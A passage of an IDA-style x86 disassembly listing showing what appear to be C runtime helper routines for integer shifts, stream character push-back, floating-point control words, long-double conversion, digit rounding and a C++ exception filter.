sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB

loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx

loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax

loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax

loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCA8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCC0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB4A0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB4C8, eax
		add	esp, 18h
		movsx	eax, byte_4DB4A2
		mov	dword_4DB4C0, eax
		pop	edi
		movsx	eax, word_4DB4A0
		mov	dword_4DB4C4, eax
		mov	dword_4DB4CC, offset dword_4DB4A4
		mov	eax, offset dword_4DB4C0
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8E8o
					; ___:0043D148o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4D0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4D0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1BC785E8h], dl
		add	ah, byte ptr dword_4DB4D0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4D035h, 73E89000h, 0C3021BC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 25E0ADBh
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 28C0915h
		nop
